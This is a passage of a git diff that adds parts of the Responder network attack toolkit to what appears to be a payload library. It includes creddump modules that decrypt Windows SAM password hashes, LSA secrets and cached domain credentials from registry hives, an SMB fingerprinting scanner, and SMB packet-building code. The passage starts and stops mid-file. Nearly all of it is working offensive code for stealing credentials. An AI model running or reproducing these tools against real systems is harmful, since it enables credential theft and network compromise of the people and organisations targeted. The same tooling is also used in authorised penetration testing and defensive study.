length) + + def size(self): + """Get the size of this object.""" + + if self.name in builtin_types: + return builtin_types[self.name][0] + else: + return types[self.name][0] + + def __repr__(self): + return "<%s @%08x>" % (self.name, self.address) + + def __eq__(self, other): + if not isinstance(other, Obj): + raise TypeError("Types are incomparable") + return self.address == other.address and self.name == other.name + + def __ne__(self, other): + return not self.__eq__(other) + + def __hash__(self): + return hash(self.address) ^ hash(self.name) + + def is_valid(self): + return self.space.is_valid_address(self.address) + + def get_offset(self, member): + return get_obj_offset(types, [self.name] + member) + +class Primitive(Obj): + """Class to represent a primitive data type. + + Attributes: + value : the python primitive value of this type + """ + + def __new__(typ, *args, **kwargs): + obj = object.__new__(typ) + return obj + + def __init__(self, name, address, space): + super(Primitive,self).__init__(name, address, space) + length, fmt = builtin_types[name] + data = space.read(address,length) + if not data: self.value = None + else: self.value = unpack(fmt,data)[0] + + def __repr__(self): + return repr(self.value) + + def members(self): + return [] + +class Pointer(Obj): + """Class to represent pointers. + + value : the object pointed to + + If an attribute is not found in this instance, + the attribute will be looked up in the referenced + object.""" + + def __new__(typ, *args, **kwargs): + obj = object.__new__(typ) + return obj + + def __init__(self, name, address, space, ptr_type): + super(Pointer,self).__init__(name, address, space) + ptr_address = read_value(space, name, address) + if ptr_type[0] == 'pointer': + self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1]) + else: + self.value = Obj(ptr_type[0], ptr_address, self.space) + + def __getattribute__(self, attr): + # It's still nice to be able to access things through pointers + # without having to explicitly dereference them, so if we don't + # find an attribute via our superclass, just dereference the pointer + # and return the attribute in the pointed-to type. + try: + return super(Pointer,self).__getattribute__(attr) + except AttributeError: + return getattr(self.value, attr) + + def __repr__(self): + return "" % (self.value.name, self.value.address) + + def members(self): + return self.value.members() + +class _UNICODE_STRING(Obj): + """Class representing a _UNICODE_STRING + + Adds the following behavior: + * The Buffer attribute is presented as a Python string rather + than a pointer to an unsigned short. + * The __str__ method returns the value of the Buffer. + """ + + def __new__(typ, *args, **kwargs): + obj = object.__new__(typ) + return obj + + def __str__(self): + return self.Buffer + + # Custom Attributes + def getBuffer(self): + return read_unicode_string(self.space, types, [], self.address) + Buffer = property(fget=getBuffer) + +class _CM_KEY_NODE(Obj): + def __new__(typ, *args, **kwargs): + obj = object.__new__(typ) + return obj + + def getName(self): + return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'], + self.address, self.NameLength.value) + Name = property(fget=getName) + +class _CM_KEY_VALUE(Obj): + def __new__(typ, *args, **kwargs): + obj = object.__new__(typ) + return obj + + def getName(self): + return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'], + self.address, self.NameLength.value) + Name = property(fget=getName) + +class _CHILD_LIST(Obj): + def __new__(typ, *args, **kwargs): + obj = object.__new__(typ) + return obj + + def getList(self): + lst = [] + list_address = read_obj(self.space, types, + ['_CHILD_LIST', 'List'], self.address) + for i in range(self.Count.value): + lst.append(Pointer("pointer", list_address+(i*4), self.space, + ["_CM_KEY_VALUE"])) + return lst + List = property(fget=getList) + +class _CM_KEY_INDEX(Obj): + def __new__(typ, *args, **kwargs): + obj = object.__new__(typ) + return obj + + def getList(self): + lst = [] + for i in range(self.Count.value): + # we are ignoring the hash value here + off,tp = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i*2]) + lst.append(Pointer("pointer", self.address+off, self.space, + ["_CM_KEY_NODE"])) + return lst + List = property(fget=getList) diff --git a/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/framework/object.py b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/framework/object.py new file mode 100644 index 0000000..8dfff64 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/framework/object.py @@ -0,0 +1,171 @@ +# Volatools Basic +# Copyright (C) 2007 Komoku, Inc. +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or (at +# your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# + +""" +@author: AAron Walters and Nick Petroni +@license: GNU General Public License 2.0 or later +@contact: awalters@komoku.com, npetroni@komoku.com +@organization: Komoku, Inc. +""" + +import struct + +builtin_types = { \ + 'int' : (4, 'i'), \ + 'long': (4, 'i'), \ + 'unsigned long' : (4, 'I'), \ + 'unsigned int' : (4, 'I'), \ + 'address' : (4, 'I'), \ + 'char' : (1, 'c'), \ + 'unsigned char' : (1, 'B'), \ + 'unsigned short' : (2, 'H'), \ + 'short' : (2, 'h'), \ + 'long long' : (8, 'q'), \ + 'unsigned long long' : (8, 'Q'), \ + 'pointer' : (4, 'I'),\ + } + + +def obj_size(types, objname): + if not types.has_key(objname): + raise Exception('Invalid type %s not in types' % (objname)) + + return types[objname][0] + +def builtin_size(builtin): + if not builtin_types.has_key(builtin): + raise Exception('Invalid built-in type %s' % (builtin)) + + return builtin_types[builtin][0] + +def read_value(addr_space, value_type, vaddr): + """ + Read the low-level value for a built-in type. + """ + + if not builtin_types.has_key(value_type): + raise Exception('Invalid built-in type %s' % (value_type)) + + type_unpack_char = builtin_types[value_type][1] + type_size = builtin_types[value_type][0] + + buf = addr_space.read(vaddr, type_size) + if buf is None: + return None + (val, ) = struct.unpack(type_unpack_char, buf) + + return val + +def read_unicode_string(addr_space, types, member_list, vaddr): + offset = 0 + if len(member_list) > 1: + (offset, current_type) = get_obj_offset(types, member_list) + + + buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset) + length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset) + + if length == 0x0: + return "" + + if buf is None or length is None: + return None + + readBuf = read_string(addr_space, types, ['char'], buf, length) + + if readBuf is None: + return None + + try: + readBuf = readBuf.decode('UTF-16').encode('ascii') + except: + return None + + return readBuf + +def read_string(addr_space, types, member_list, vaddr, max_length=256): + offset = 0 + if len(member_list) > 1: + (offset, current_type) = get_obj_offset(types, member_list) + + val = addr_space.read(vaddr + offset, max_length) + + return val + + +def read_null_string(addr_space, types, member_list, vaddr, max_length=256): + string = read_string(addr_space, types, member_list, vaddr, max_length) + + if string is None: + return None + + if (string.find('\0') == -1): + return string + (string, none) = string.split('\0', 1) + return string + + +def get_obj_offset(types, member_list): + """ + Returns the (offset, type) pair for a given list + """ + member_list.reverse() + + current_type = member_list.pop() + + offset = 0 + + while (len(member_list) > 0): + if current_type == 'array': + current_type = member_dict[current_member][1][2][0] + if current_type in builtin_types: + current_type_size = builtin_size(current_type) + else: + current_type_size = obj_size(types, current_type) + index = member_list.pop() + offset += index * current_type_size + continue + + elif not types.has_key(current_type): + raise Exception('Invalid type ' + current_type) + + member_dict = types[current_type][1] + + current_member = member_list.pop() + if not member_dict.has_key(current_member): + raise Exception('Invalid member %s in type %s' % (current_member, current_type)) + + offset += member_dict[current_member][0] + + current_type = member_dict[current_member][1][0] + + return (offset, current_type) + + +def read_obj(addr_space, types, member_list, vaddr): + """ + Read the low-level value for some complex type's member. + The type must have members. + """ + if len(member_list) < 2: + raise Exception('Invalid type/member ' + str(member_list)) + + + + (offset, current_type) = get_obj_offset(types, member_list) + return read_value(addr_space, current_type, vaddr + offset) diff --git a/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/framework/types.py b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/framework/types.py new file mode 100644 index 0000000..873e555 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/framework/types.py @@ -0,0 +1,63 @@ +# This file is part of creddump. +# +# creddump is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# creddump is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with creddump. If not, see . + +""" +@author: Brendan Dolan-Gavitt +@license: GNU General Public License 2.0 or later +@contact: bdolangavitt@wesleyan.edu +""" + +regtypes = { + '_CM_KEY_VALUE' : [ 0x18, { + 'Signature' : [ 0x0, ['unsigned short']], + 'NameLength' : [ 0x2, ['unsigned short']], + 'DataLength' : [ 0x4, ['unsigned long']], + 'Data' : [ 0x8, ['unsigned long']], + 'Type' : [ 0xc, ['unsigned long']], + 'Flags' : [ 0x10, ['unsigned short']], + 'Spare' : [ 0x12, ['unsigned short']], + 'Name' : [ 0x14, ['array', 1, ['unsigned short']]], +} ], + '_CM_KEY_NODE' : [ 0x50, { + 'Signature' : [ 0x0, ['unsigned short']], + 'Flags' : [ 0x2, ['unsigned short']], + 'LastWriteTime' : [ 0x4, ['_LARGE_INTEGER']], + 'Spare' : [ 0xc, ['unsigned long']], + 'Parent' : [ 0x10, ['unsigned long']], + 'SubKeyCounts' : [ 0x14, ['array', 2, ['unsigned long']]], + 'SubKeyLists' : [ 0x1c, ['array', 2, ['unsigned long']]], + 'ValueList' : [ 0x24, ['_CHILD_LIST']], + 'ChildHiveReference' : [ 0x1c, ['_CM_KEY_REFERENCE']], + 'Security' : [ 0x2c, ['unsigned long']], + 'Class' : [ 0x30, ['unsigned long']], + 'MaxNameLen' : [ 0x34, ['unsigned long']], + 'MaxClassLen' : [ 0x38, ['unsigned long']], + 'MaxValueNameLen' : [ 0x3c, ['unsigned long']], + 'MaxValueDataLen' : [ 0x40, ['unsigned long']], + 'WorkVar' : [ 0x44, ['unsigned long']], + 'NameLength' : [ 0x48, ['unsigned short']], + 'ClassLength' : [ 0x4a, ['unsigned short']], + 'Name' : [ 0x4c, ['array', 1, ['unsigned short']]], +} ], + '_CM_KEY_INDEX' : [ 0x8, { + 'Signature' : [ 0x0, ['unsigned short']], + 'Count' : [ 0x2, ['unsigned short']], + 'List' : [ 0x4, ['array', 1, ['unsigned long']]], +} ], + '_CHILD_LIST' : [ 0x8, { + 'Count' : [ 0x0, ['unsigned long']], + 'List' : [ 0x4, ['unsigned long']], +} ], +} diff --git a/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/framework/win32/__init__.py b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/framework/win32/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/framework/win32/domcachedump.py b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/framework/win32/domcachedump.py new file mode 100644 index 0000000..37d0314 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/framework/win32/domcachedump.py @@ -0,0 +1,117 @@ +# This file is part of creddump. +# +# creddump is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# creddump is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with creddump. If not, see . + +""" +@author: Brendan Dolan-Gavitt +@license: GNU General Public License 2.0 or later +@contact: bdolangavitt@wesleyan.edu +""" + +from framework.win32.rawreg import * +from framework.addrspace import HiveFileAddressSpace +#from framework.win32.hashdump import get_bootkey +from framework.win32.lsasecrets import get_secret_by_name,get_lsa_key +from Crypto.Hash import HMAC +from Crypto.Cipher import ARC4 +from struct import unpack + +def get_nlkm(secaddr, lsakey): + return get_secret_by_name(secaddr, 'NL$KM', lsakey) + +def decrypt_hash(edata, nlkm, ch): + hmac_md5 = HMAC.new(nlkm,ch) + rc4key = hmac_md5.digest() + + rc4 = ARC4.new(rc4key) + data = rc4.encrypt(edata) + return data + +def parse_cache_entry(cache_data): + (uname_len, domain_len) = unpack(". + +""" +@author: Brendan Dolan-Gavitt +@license: GNU General Public License 2.0 or later +@contact: bdolangavitt@wesleyan.edu +""" + +from framework.win32.rawreg import * +from framework.addrspace import HiveFileAddressSpace +try: + from Crypto.Hash import MD5 + from Crypto.Cipher import ARC4,DES +except ImportError: + pass +from struct import unpack,pack + +odd_parity = [ + 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, + 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, + 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, + 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, + 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, + 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, + 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, + 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, + 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, + 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, + 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, + 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, + 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, + 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, + 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, + 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 +] + +# Permutation matrix for boot key +p = [ 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, + 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 ] + +# Constants for SAM decrypt algorithm +aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" +anum = "0123456789012345678901234567890123456789\0" +antpassword = "NTPASSWORD\0" +almpassword = "LMPASSWORD\0" + +empty_lm = "aad3b435b51404eeaad3b435b51404ee".decode('hex') +empty_nt = "31d6cfe0d16ae931b73c59d7e0c089c0".decode('hex') + +def str_to_key(s): + key = [] + key.append( ord(s[0])>>1 ) + key.append( ((ord(s[0])&0x01)<<6) | (ord(s[1])>>2) ) + key.append( ((ord(s[1])&0x03)<<5) | (ord(s[2])>>3) ) + key.append( ((ord(s[2])&0x07)<<4) | (ord(s[3])>>4) ) + key.append( ((ord(s[3])&0x0F)<<3) | (ord(s[4])>>5) ) + key.append( ((ord(s[4])&0x1F)<<2) | (ord(s[5])>>6) ) + key.append( ((ord(s[5])&0x3F)<<1) | (ord(s[6])>>7) ) + key.append( ord(s[6])&0x7F ) + for i in range(8): + key[i] = (key[i]<<1) + key[i] = odd_parity[key[i]] + return "".join(chr(k) for k in key) + +def sid_to_key(sid): + s1 = "" + s1 += chr(sid & 0xFF) + s1 += chr((sid>>8) & 0xFF) + s1 += chr((sid>>16) & 0xFF) + s1 += chr((sid>>24) & 0xFF) + s1 += s1[0]; + s1 += s1[1]; + s1 += s1[2]; + s2 = s1[3] + s1[0] + s1[1] + s1[2] + s2 += s2[0] + s2[1] + s2[2] + + return str_to_key(s1),str_to_key(s2) + +def find_control_set(sysaddr): + root = get_root(sysaddr) + if not root: + return 1 + + csselect = open_key(root, ["Select"]) + if not csselect: + return 1 + + for v in values(csselect): + if v.Name == "Current": return v.Data.value + +def get_hbootkey(samaddr, bootkey): + sam_account_path = ["SAM", "Domains", "Account"] + + root = get_root(samaddr) + if not root: return None + + sam_account_key = open_key(root, sam_account_path) + if not sam_account_key: return None + + F = None + for v in values(sam_account_key): + if v.Name == 'F': + F = samaddr.read(v.Data.value, v.DataLength.value) + if not F: return None + + md5 = MD5.new() + md5.update(F[0x70:0x80] + aqwerty + bootkey + anum) + rc4_key = md5.digest() + + rc4 = ARC4.new(rc4_key) + hbootkey = rc4.encrypt(F[0x80:0xA0]) + + return hbootkey + +def get_user_keys(samaddr): + user_key_path = ["SAM", "Domains", "Account", "Users"] + + root = get_root(samaddr) + if not root: return [] + + user_key = open_key(root, user_key_path) + if not user_key: return [] + + return [k for k in subkeys(user_key) if k.Name != "Names"] + +def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr): + (des_k1,des_k2) = sid_to_key(rid) + d1 = DES.new(des_k1, DES.MODE_ECB) + d2 = DES.new(des_k2, DES.MODE_ECB) + + md5 = MD5.new() + md5.update(hbootkey[:0x10] + pack(". + +""" +@author: Brendan Dolan-Gavitt +@license: GNU General Public License 2.0 or later +@contact: bdolangavitt@wesleyan.edu +""" + +from framework.win32.rawreg import * +from framework.addrspace import HiveFileAddressSpace +#from framework.win32.hashdump import get_bootkey,str_to_key +from Crypto.Hash import MD5 +from Crypto.Cipher import ARC4,DES + +def get_lsa_key(secaddr, bootkey): + root = get_root(secaddr) + if not root: + return None + + enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"]) + if not enc_reg_key: + exit(1) + return None + + enc_reg_value = enc_reg_key.ValueList.List[0] + if not enc_reg_value: + return None + + obf_lsa_key = secaddr.read(enc_reg_value.Data.value, + enc_reg_value.DataLength.value) + if not obf_lsa_key: + return None + + md5 = MD5.new() + md5.update(bootkey) + for i in range(1000): + md5.update(obf_lsa_key[60:76]) + rc4key = md5.digest() + + rc4 = ARC4.new(rc4key) + lsa_key = rc4.decrypt(obf_lsa_key[12:60]) + + return lsa_key[0x10:0x20] + +def decrypt_secret(secret, key): + """Python implementation of SystemFunction005. + + Decrypts a block of data with DES using given key. + Note that key can be longer than 7 bytes.""" + decrypted_data = '' + j = 0 # key index + for i in range(0,len(secret),8): + enc_block = secret[i:i+8] + block_key = key[j:j+7] + des_key = str_to_key(block_key) + + des = DES.new(des_key, DES.MODE_ECB) + decrypted_data += des.decrypt(enc_block) + + j += 7 + if len(key[j:j+7]) < 7: + j = len(key[j:j+7]) + + (dec_data_len,) = unpack(". + +""" +@author: Brendan Dolan-Gavitt +@license: GNU General Public License 2.0 or later +@contact: bdolangavitt@wesleyan.edu +""" + +from framework.newobj import Obj,Pointer +from struct import unpack + +ROOT_INDEX = 0x20 +LH_SIG = unpack(". + +""" +@author: Brendan Dolan-Gavitt +@license: GNU General Public License 2.0 or later +@contact: bdolangavitt@wesleyan.edu +""" + +import sys +from framework.win32.lsasecrets import get_file_secrets + +# Hex dump code from +# http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812 + +FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) + +def dump(src, length=8): + N=0; result='' + while src: + s,src = src[:length],src[length:] + hexa = ' '.join(["%02X"%ord(x) for x in s]) + s = s.translate(FILTER) + result += "%04X %-*s %s\n" % (N, length*3, hexa, s) + N+=length + return result + +if len(sys.argv) < 3: + print "usage: %s Bootkey " % sys.argv[0] + sys.exit(1) + +secrets = get_file_secrets(sys.argv[1].decode("hex"), sys.argv[2]) +if not secrets: + print "Unable to read LSA secrets. Perhaps you provided invalid hive files?" + sys.exit(1) + +for k in secrets: + print k + print dump(secrets[k], length=16) + diff --git a/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/pwdump.py b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/pwdump.py new file mode 100644 index 0000000..a753907 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/creddump/pwdump.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +# This file is part of creddump. +# +# creddump is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# creddump is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with creddump. If not, see . + +""" +@author: Brendan Dolan-Gavitt +@license: GNU General Public License 2.0 or later +@contact: bdolangavitt@wesleyan.edu +""" + +import sys +from framework.win32.hashdump import dump_file_hashes + +if len(sys.argv) < 3: + print "usage: %s bootkey SAM_File" % sys.argv[0] + sys.exit(1) + +dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2]) diff --git a/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/relay-dumps/.gitignore b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay/relay-dumps/.gitignore new file mode 100644 index 0000000..e69de29 diff --git a/payloads/library/tools_installer/tools_to_install/responder/tools/RunFinger.py b/payloads/library/tools_installer/tools_to_install/responder/tools/RunFinger.py new file mode 100644 index 0000000..19f69a7 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/tools/RunFinger.py @@ -0,0 +1,292 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import re,sys,socket,struct +import datetime +import multiprocessing +from socket import * +from odict import OrderedDict +import optparse + +__version__ = "0.6" + +parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0]) + +parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None) +parser.add_option('-g','--grep', action="store_true", dest="Grep", default=False, help="Output in grepable format") +options, args = parser.parse_args() + +if options.TARGET is None: + print "\n-i Mandatory option is missing, please provide a target or target range.\n" + parser.print_help() + exit(-1) + +Timeout = 2 +Host = options.TARGET +Grep = options.Grep + +class Packet(): + fields = OrderedDict([ + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + +def longueur(payload): + length = struct.pack(">i", len(''.join(payload))) + return length + +def GetBootTime(data): + Filetime = int(struct.unpack('. +import re,sys,socket,struct +from socket import * +from odict import OrderedDict + +__version__ = "0.3" +Timeout = 0.5 +class Packet(): + fields = OrderedDict([ + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + +def longueur(payload): + length = struct.pack(">i", len(''.join(payload))) + return length + +class SMBHeader(Packet): + fields = OrderedDict([ + ("proto", "\xff\x53\x4d\x42"), + ("cmd", "\x72"), + ("error-code", "\x00\x00\x00\x00" ), + ("flag1", "\x00"), + ("flag2", "\x00\x00"), + ("pidhigh", "\x00\x00"), + ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("reserved", "\x00\x00"), + ("tid", "\x00\x00"), + ("pid", "\x00\x00"), + ("uid", "\x00\x00"), + ("mid", "\x00\x00"), + ]) + +class SMBNego(Packet): + fields = OrderedDict([ + ("Wordcount", "\x00"), + ("Bcc", "\x62\x00"), + ("Data", "") + ]) + + def calculate(self): + self.fields["Bcc"] = struct.pack(" 1: + raise TypeError('expected at most 1 arguments, got %d' % len(args)) + try: + self.__end + except AttributeError: + self.clear() + self.update(*args, **kwds) + + def clear(self): + self.__end = end = [] + end += [None, end, end] + self.__map = {} + dict.clear(self) + + def __setitem__(self, key, value): + if key not in self: + end = self.__end + curr = end[1] + curr[2] = end[1] = self.__map[key] = [key, curr, end] + dict.__setitem__(self, key, value) + + def __delitem__(self, key): + dict.__delitem__(self, key) + key, prev, next = self.__map.pop(key) + prev[2] = next + next[1] = prev + + def __iter__(self): + end = self.__end + curr = end[2] + while curr is not end: + yield curr[0] + curr = curr[2] + + def __reversed__(self): + end = self.__end + curr = end[1] + while curr is not end: + yield curr[0] + curr = curr[1] + + def popitem(self, last=True): + if not self: + raise KeyError('dictionary is empty') + if last: + key = reversed(self).next() + else: + key = iter(self).next() + value = self.pop(key) + return key, value + + def __reduce__(self): + items = [[k, self[k]] for k in self] + tmp = self.__map, self.__end + del self.__map, self.__end + inst_dict = vars(self).copy() + self.__map, self.__end = tmp + if inst_dict: + return (self.__class__, (items,), inst_dict) + return self.__class__, (items,) + + def keys(self): + return list(self) + + setdefault = DictMixin.setdefault + update = DictMixin.update + pop = DictMixin.pop + values = DictMixin.values + items = DictMixin.items + iterkeys = DictMixin.iterkeys + itervalues = DictMixin.itervalues + iteritems = DictMixin.iteritems + + def __repr__(self): + if not self: + return '%s()' % (self.__class__.__name__,) + return '%s(%r)' % (self.__class__.__name__, self.items()) + + def copy(self): + return self.__class__(self) + + @classmethod + def fromkeys(cls, iterable, value=None): + d = cls() + for key in iterable: + d[key] = value + return d + + def __eq__(self, other): + if isinstance(other, OrderedDict): + return len(self)==len(other) and \ + min(p==q for p, q in zip(self.items(), other.items())) + return dict.__eq__(self, other) + + def __ne__(self, other): + return not self == other + + +if __name__ == '__main__': + d = OrderedDict([('foo',2),('bar',3),('baz',4),('zot',5),('arrgh',6)]) + assert [x for x in d] == ['foo', 'bar', 'baz', 'zot', 'arrgh'] diff --git a/payloads/library/tools_installer/tools_to_install/responder/tools/odict.py b/payloads/library/tools_installer/tools_to_install/responder/tools/odict.py new file mode 100644 index 0000000..4e7b93b --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/tools/odict.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +from UserDict import DictMixin + +class OrderedDict(dict, DictMixin): + + def __init__(self, *args, **kwds): + if len(args) > 1: + raise TypeError('expected at most 1 arguments, got %d' % len(args)) + try: + self.__end + except AttributeError: + self.clear() + self.update(*args, **kwds) + + def clear(self): + self.__end = end = [] + end += [None, end, end] + self.__map = {} + dict.clear(self) + + def __setitem__(self, key, value): + if key not in self: + end = self.__end + curr = end[1] + curr[2] = end[1] = self.__map[key] = [key, curr, end] + dict.__setitem__(self, key, value) + + def __delitem__(self, key): + dict.__delitem__(self, key) + key, prev, next = self.__map.pop(key) + prev[2] = next + next[1] = prev + + def __iter__(self): + end = self.__end + curr = end[2] + while curr is not end: + yield curr[0] + curr = curr[2] + + def __reversed__(self): + end = self.__end + curr = end[1] + while curr is not end: + yield curr[0] + curr = curr[1] + + def popitem(self, last=True): + if not self: + raise KeyError('dictionary is empty') + if last: + key = reversed(self).next() + else: + key = iter(self).next() + value = self.pop(key) + return key, value + + def __reduce__(self): + items = [[k, self[k]] for k in self] + tmp = self.__map, self.__end + del self.__map, self.__end + inst_dict = vars(self).copy() + self.__map, self.__end = tmp + if inst_dict: + return self.__class__, (items,), inst_dict + return self.__class__, (items,) + + def keys(self): + return list(self) + + setdefault = DictMixin.setdefault + update = DictMixin.update + pop = DictMixin.pop + values = DictMixin.values + items = DictMixin.items + iterkeys = DictMixin.iterkeys + itervalues = DictMixin.itervalues + iteritems = DictMixin.iteritems + + def __repr__(self): + if not self: + return '%s()' % (self.__class__.__name__,) + return '%s(%r)' % (self.__class__.__name__, self.items()) + + def copy(self): + return self.__class__(self) + + @classmethod + def fromkeys(cls, iterable, value=None): + d = cls() + for key in iterable: + d[key] = value + return d + + def __eq__(self, other): + if isinstance(other, OrderedDict): + return len(self)==len(other) and \ + min(p==q for p, q in zip(self.items(), other.items())) + return dict.__eq__(self, other) + + def __ne__(self, other): + return not self == other diff --git a/payloads/library/tools_installer/tools_to_install/responder/utils.py b/payloads/library/tools_installer/tools_to_install/responder/utils.py new file mode 100644 index 0000000..268c419 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/utils.py @@ -0,0 +1,359 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import os +import sys +import re +import logging +import socket +import time +import settings +import datetime + +def RandomChallenge(): + if settings.Config.NumChal == "random": + from random import getrandbits + NumChal = '%016x' % getrandbits(16 * 4) + Challenge = '' + for i in range(0, len(NumChal),2): + Challenge += NumChal[i:i+2].decode("hex") + return Challenge + else: + return settings.Config.Challenge + +def HTTPCurrentDate(): + Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT') + return Date +try: + import sqlite3 +except: + print "[!] Please install python-sqlite3 